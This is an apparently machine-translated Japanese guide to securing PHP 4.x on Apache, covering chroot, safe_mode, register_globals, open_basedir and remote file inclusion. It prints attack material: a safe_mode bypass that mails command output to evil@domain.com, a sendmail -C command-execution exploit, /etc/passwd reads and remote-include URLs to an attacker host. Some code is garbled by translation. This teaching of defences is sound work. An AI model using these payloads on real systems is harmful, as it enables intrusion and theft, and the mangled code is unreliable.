バージョン: 0.02
1. Web サーバーのセキュリティ
PHP は実際には Web サーバーの単なるモジュール機能であるため、最初に Web サーバーのセキュリティを確保する必要があります。もちろん、Web サーバーの安全性を確保するには、まずシステムのセキュリティを確保する必要がありますが、それはかなり先の話です。 PHP はさまざまな Web サーバーと組み合わせることができますが、ここでは Apache についてのみ説明します。 Apache を chroot モードでインストールして起動することを強くお勧めします。この方法では、Apache、PHP、およびそのスクリプトに脆弱性がある場合でも、影響を受けるのは制限されたシステムのみであり、実際のシステムには影響しません。ただし、chrooted Apache を使用すると、アプリケーションに特定の問題が発生します。たとえば、mysql に接続する場合、ソケット接続に localhost ではなく tcp を使用して接続する必要があり、これは若干効率が悪くなります。 php.ini で
[mail function]
; Win32 のみ
sendmail_from = me@localhost.com であるため、メールを送信するための関数にも問題があります。
これらはすべて Win32 プラットフォーム用であるため、sendmail は chroot 環境で調整する必要があります。
2. PHP 自体の問題
1. リモート オーバーフロー
PHP-4.1.2 より前のすべてのバージョンにはファイル アップロードのリモート バッファ オーバーフローの脆弱性があり、この攻撃プログラムは非常に高い成功率で広く出回っています。 http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2. リモートサービス拒否
PHP マルチパートは PHP-4.2.0 および PHP に存在します-4.2.1 /form-data POST リクエストのリモート処理の脆弱性。ローカル ユーザーの権限を取得できませんが、サービス拒否が発生する可能性があります。
3. セーフモードバイパスの脆弱性
PHP-4.2.2 以下から PHP-4.0.5 までのセーフモード制限実行コマンドの脆弱性をバイパスする PHP メール関数も存在します。パラメータが追加されましたが、設計者の配慮が不十分なため、safe_mode の制限を超えてコマンドが実行される可能性があります。バージョン 4.0.5 の画期的な点は非常に簡単です。たとえば、PHP スクリプト evil.php:
mail("foo@bar,"foo") を追加するだけです。 ,"bar ","",$bar);
次の URL を実行します:
http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain .com
これにより、id 実行の結果が evil@domain.com に送信されます
PHP 4.0.6 から 4.2.2 の場合、sendmail の -C パラメータは実際にはブレークスルーに使用されるため、システムは次のコードはセーフモードの制限を突破してコマンドを実行できます:
# 次の 2 つは存在してはならない、またはその所有者がこのスクリプトの所有者と同じである必要があることに注意してください
$script="/tmp/ script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr (9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
$fd = fopen($script, " w") ;
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
上記の問題のあるバージョンの PHP を引き続き使用している場合は、基本的なセキュリティの問題を解決するために、適時に最新バージョンにアップグレードする必要があります。 PHP 自体のセキュリティ: PHP の設定は非常に柔軟で、php.ini、httpd.conf、.htaccess ファイルを通じて設定できます (AllowOverride All または Options をこのディレクトリに設定する必要があります)。また、ini_set を使用することもできます。 () およびスクリプト内のその他の特定の設定。構成オプションの値は、phpinfo() 関数と get_cfg_var() 関数を通じて取得できます。構成オプションが唯一の PHP_INI_SYSTEM 属性である必要があります。 php.ini および httpd.conf を通じて変更されます。これらは PHP の値を変更しますが、変更を有効にするには、Apache を再起動する必要があります。 php.ini に設定されたオプションは Web サーバー内のすべてのスクリプトに有効であり、httpd.conf に設定されたオプションは、定義されたディレクトリ内のすべてのスクリプトに有効です。
他の PHP_INI_USER、PHP_INI_PERDIR、PHP_INI_ALL 属性オプションがある場合は、.htaccess ファイルを使用してそれらを設定することも、スクリプト自体で ini_set() 関数を使用してそれらを設定することもできます。これらはローカル値と変更はすぐに有効になります。ただし、.htaccess は現在のディレクトリにあるスクリプト プログラムに対してのみ有効であり、ini_set() 関数はスクリプト プログラムに対して ini_set() 関数を設定した後にのみ有効になります。各バージョンのオプション属性は異なる場合があります。次のコマンドを使用して現在のソース コードの main.c ファイルを検索し、すべてのオプションとその属性を取得できます:
# grep PHP_INI_ /PHP_SRC/main/main.c
ディスカッション中 PHP のセキュリティ構成を行う前に、PHP のセーフモード モードについてよく理解しておく必要があります。
1.safe_mode
safe_mode は唯一の PHP_INI_SYSTEM 属性であり、php.ini または httpd.conf を通じて設定する必要があります。セーフモードを有効にするには、php.ini を変更するだけです:
safe_mode = On
または httpd.conf を変更してディレクトリを定義します:
Options FollowSymLinks
php_admin_valuesafe_mode 1
safe_mode は、Apache を再起動した後に有効になります。セーフモードを有効にすると、多くの PHP 機能、特にシステム関連のファイルを開く、コマンドの実行、その他の機能が制限されます。
ファイルを操作するすべての関数は、スクリプトと同じ UID を持つファイルのみを操作します。たとえば、test.php スクリプトの内容は次のとおりです。いくつかのファイルの属性は次のとおりです:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r-- r-- 1 root root 4110 Oct 26 2002 Index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
ブラウザで test.php をリクエストすると次のエラー メッセージが表示されます:
警告: セーフ モード制限が有効です。uid/gid が 33/33 のスクリプトは、uid/gid が所有する ./index.html にアクセスできません。 /var/www/test .php の 1 行目で 0/0
操作されたファイルが配置されているディレクトリの UID がスクリプトの UID と一致する場合、ファイルの UID にアクセスできます。これが PHP の脆弱性なのか、それとも別の隠れた理由があるのかはわかりません。したがって、php スクリプトの所有者であるユーザーがこの目的にのみ使用することをお勧めします。これにより、safe_mode の効果が得られなくなります。
GID 比較を緩和したい場合は、safe_mode_gid をオンにしてファイルの GID の比較のみを検討できます。次のオプションを設定できます:
safe_mode_gid = On
safe_mode を設定した後、すべての関数が実行されます。 php.ini の Safe_mode_exec_dir でディレクトリ内のプログラムを指定し、shell_exec と ls -l はコマンドの実行を禁止します。本当に他のプログラムを呼び出す必要がある場合は、php.ini で次の設定を行うことができます:
safe_mode_exec_dir = /usr/local/php/exec
その後、プログラムをディレクトリにコピーすると、php スクリプトはシステムとプログラムを実行するためのその他の関数。さらに、このディレクトリ内のシェル スクリプトは、引き続き他のディレクトリ内のシステム コマンドを呼び出すことができます。
safe_mode_include_dir string
このディレクトリとそのサブディレクトリからファイルをインクルードする場合、UID/GID チェックをバイパスします (ディレクトリは include_path に存在するか、フルパスでインクルードされる必要があります)。
PHP 4.2.0 以降、このディレクティブは単なるディレクトリではなく、include_path ディレクティブと同様にセミコロンで区切られたパスを受け入れることができます。
指定された制限は、実際にはディレクトリ名ではなくプレフィックスです。これは、「safe_mode_include_dir = /dir/incl」により、「/dir/include」および「/dir/incls」が存在する場合、それらへのアクセスが許可されることを意味します。特定のディレクトリへのアクセスを制限したい場合は、「safe_mode_include_dir = /dir/incl/」のように末尾にスラッシュを追加します。
safe_mode_allowed_env_vars string
特定の環境変数を設定すると、潜在的なセキュリティ違反となる可能性があります。このディレクティブには、カンマで区切られたプレフィックスのリストが含まれます。セーフ モードでは、ユーザーは、ここで指定されたプレフィックスが名前に付いている環境変数のみを変更できます。デフォルトでは、ユーザーは PHP_ で始まる環境変数のみを設定できます (例: PHP_FOO = BAR)。
注: このディレクティブが空の場合、PHP ではユーザーが任意の環境変数を変更できるようになります。
safe_mode_protected_env_vars string
このディレクティブには、エンドユーザーが putenv() を使用して変更できない環境変数のカンマ区切りのリストが含まれています。これらの変数は、safe_mode_allowed_env_vars で許可された変更が設定されている場合でも変更できません。
safe_mode は万能薬ではありません (PHP の以前のバージョンでは回避できます) が、未知の攻撃をある程度回避できるセーフ モードをオンにすることを強くお勧めします。ただし、safe_mode を有効にすると多くの制限があり、アプリケーションに影響を与える可能性があるため、調和を図るためにコードと構成を調整する必要があります。セーフモードにより制限またはブロックされる機能については、PHPのマニュアルを参照してください。
safe_mode について説明した後、プログラム コードで発生する可能性のある実際の問題に基づいて、PHP サーバー側を構成することで脆弱性を回避する方法について説明します。
2. 変数の不正使用
PHP のデフォルトは register_globals = On です。GET、POST、Cookie、Environment、および Session の変数はグローバル変数として直接登録できます。登録順序は、variables_order = "EGPCS" (php.ini を通じて変更可能) です。同じ名前の variables_order の右側が左側を覆っているため、変数を乱用するとプログラムが混乱しやすくなります。さらに、スクリプト プログラマは変数を初期化する習慣がない場合が多く、次のようなプログラム スニペットは攻撃に対して非常に脆弱です。 auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
次のリクエストを使用するだけでチェックを回避できます。 http ://victim/test_1.php?auth=1
これは非常に精神薄弱な間違いですが、phpnuke のリモート ファイル コピーの脆弱性など、いくつかの有名なプログラムもこの間違いを犯しています: http://www.securityfocus .com /bid/3361
PHP-4.1.0 がリリースされたとき、 register_globals をオフにすることが推奨され、さまざまな変数を使用するために 7 つの特別な配列変数が提供されました。 GET、POST、COOKIE などの変数は変数として直接登録されないため、配列変数を通じてアクセスする必要があります。 PHP-4.2.0 がリリースされたとき、php.ini のデフォルト設定は register_globals = Off でした。これにより、プログラムは PHP 自体によって初期化されたデフォルト値 (通常は 0) を使用できるようになり、攻撃者が判断変数を制御するのを防ぎます。
解決策:
設定ファイル php.ini で register_globals = Off を設定します。
プログラマはプログラムの開始時に判定変数の値を初期化する必要があります。
3. ファイルを開く
非常に脆弱なコード スニペット:
//test_2.php
if (!($str = readfile("$filename")) {
echo(" 開けませんでした) file: $filename
n");
exit;
}
else {
echo $str;
}
?>
攻撃者は任意の $filename を指定できるため、攻撃者は以下を使用します / etc/passwd をリクエストします:
http://victim/test_2.php?filename=/etc/passwd
次のリクエストは php ファイル自体を読み取ることができます:
http://victim/test_2.php filename=? test_2.php
PHPのファイルを開く関数には、fopen()、file()などが含まれます。ファイル名変数が厳密にチェックされていない場合、サーバー上の重要なファイルがアクセスされ、読み取られてしまいます。
解決策:
特別なニーズを除き、php ファイルの操作を Web ディレクトリに制限します。以下は、Apache 設定ファイル httpd.conf を変更する例です。
php_admin_value open_basedir /usr/local/apache/htdocs
警告: ファイルは xxx オンラインの間違ったディレクトリにあります。 xx .
safe_mode モードを使用すると、前に説明したこの問題を回避できます。
4. インクルード ファイル
非常に脆弱なコード スニペット:
if(file_exists($filename))
?>無責任なコードは多大な損害を引き起こす可能性があります。攻撃者は次のリクエストを使用して /etc/passwd ファイルを取得できます:
http://victim/test_3.php?filename=/etc/passwd
PHP の Unix バージョンの場合(Win バージョンの PHP はリモートでファイルを開くことをサポートしていません)、攻撃者は、http または ftp サービスが有効になっているマシン上に、http://攻撃/攻撃.txt のコンテンツなどのシェル コマンドを含むファイルを作成する可能性があります。 の場合、次のリクエストによりターゲット ホストでコマンド ls /etc を実行できます:
http://victim/test_3.php?filename=http:// Attack / Attack.txt
攻撃者は、Apache ログ ファイル access.log と error.log を含めることで、コマンドを実行するコードを取得することもできます。ただし、干渉情報が多すぎるため、場合によっては成功するのが簡単ではありません。
別の形式の場合、次のコード スニペット:
//test_4.php
include("$lib/config.php");
攻撃者は自分のホスト上にそれを作成できます。コマンドを実行するコードを含む config.php ファイル。次に、次のリクエストを使用してターゲット ホストでコマンドを実行します:
http://victim/test_4.php?lib=http://攻撃
PHP's include 関数には、include ()、include_once()、require()、require_once が含まれます。ファイル名を含む変数が厳密にチェックされないと、システムに重大な危険が生じ、コマンドがリモートで実行される可能性があります。
解決策:
ファイルにパラメータを含める場合、変数を使用しないようにプログラマに要求します。変数を使用する場合は、含めるファイル名を厳密にチェックする必要があり、ユーザーが任意に指定してはなりません。
上記の通り、ファイルを開く際のPHP操作パスの制限は必須のオプションです。また、特に必要がない限り、PHP のリモートファイルオープン機能は必ずオフにしてください。 php.ini ファイルを変更します:
allow_url_fopen = Off
Apache を再起動します。
5. ファイルのアップロード
phpのファイルアップロードメカニズムは、php.iniのupload_tmp_dirで定義された一時ディレクトリ(デフォルトは/tmpなどのシステムの一時ディレクトリ)にユーザーがアップロードしたファイルを保存します。 phpxXuoXG 一時ファイルと同様に、プログラムの実行が終了すると、一時ファイルも削除されます。 PHP は、アップロードされたファイルに対して 4 つの変数を定義します: (たとえば、フォーム変数名は file で、register_globals がオンになっています)
$file #サーバーに保存される一時ファイルです (/tmp/phpxXuoXG など)
$file_size #アップロードされたファイルのサイズ
$file_name #アップロードされたファイルの元の名前
$file_type #アップロードされたファイルのタイプ
使用推奨:
$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file ']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']
これは最も単純なファイルアップロードコードです:
/test_5.php
if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name); file".$file_name. "アップロードが成功しました! をクリックしてアップロードを続けてください";
終了;
}
?>